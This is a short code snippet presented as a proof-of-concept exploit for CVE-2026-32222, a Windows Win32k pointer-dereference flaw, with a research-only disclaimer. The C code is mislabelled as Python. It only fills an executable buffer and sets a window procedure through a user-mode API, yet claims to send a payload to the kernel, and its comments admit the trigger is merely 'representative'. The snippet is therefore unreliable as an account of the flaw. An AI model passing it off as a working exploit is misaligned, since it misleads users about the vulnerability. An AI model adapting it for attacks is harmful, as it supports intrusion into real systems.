The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-32222
// This code demonstrates the trigger mechanism for the untrusted pointer dereference.
// Note: This is for educational purposes only.
void TriggerVulnerability() {
HWND hWnd = CreateWindowExW(0, L"STATIC", L"PoC Window", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
if (!hWnd) {
printf("Failed to create window.\n");
return;
}
// Allocate memory to simulate the untrusted pointer
PVOID fakeObject = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memset(fakeObject, 0x41, 0x1000);
// Craft specific ICOMP structure to trigger the dereference
// The exact offset depends on the specific Windows version build
PULONG_PTR craftedInput = (PULONG_PTR)fakeObject;
craftedInput[0x10] = (ULONG_PTR)fakeObject; // Pointer loopback
printf("Sending crafted payload to kernel...\n");
// Trigger the vulnerability via specific Win32k syscall
// This function call is representative of the attack vector
// NtUserSetWindowLongPtr or similar internal API might be used
SetWindowLongPtrW(hWnd, GWLP_WNDPROC, (LONG_PTR)fakeObject);
// If successful, code execution might occur here
printf("Payload sent. Check system stability.\n");
}
int main() {
printf("CVE-2026-32222 PoC Trigger\n");
TriggerVulnerability();
return 0;
}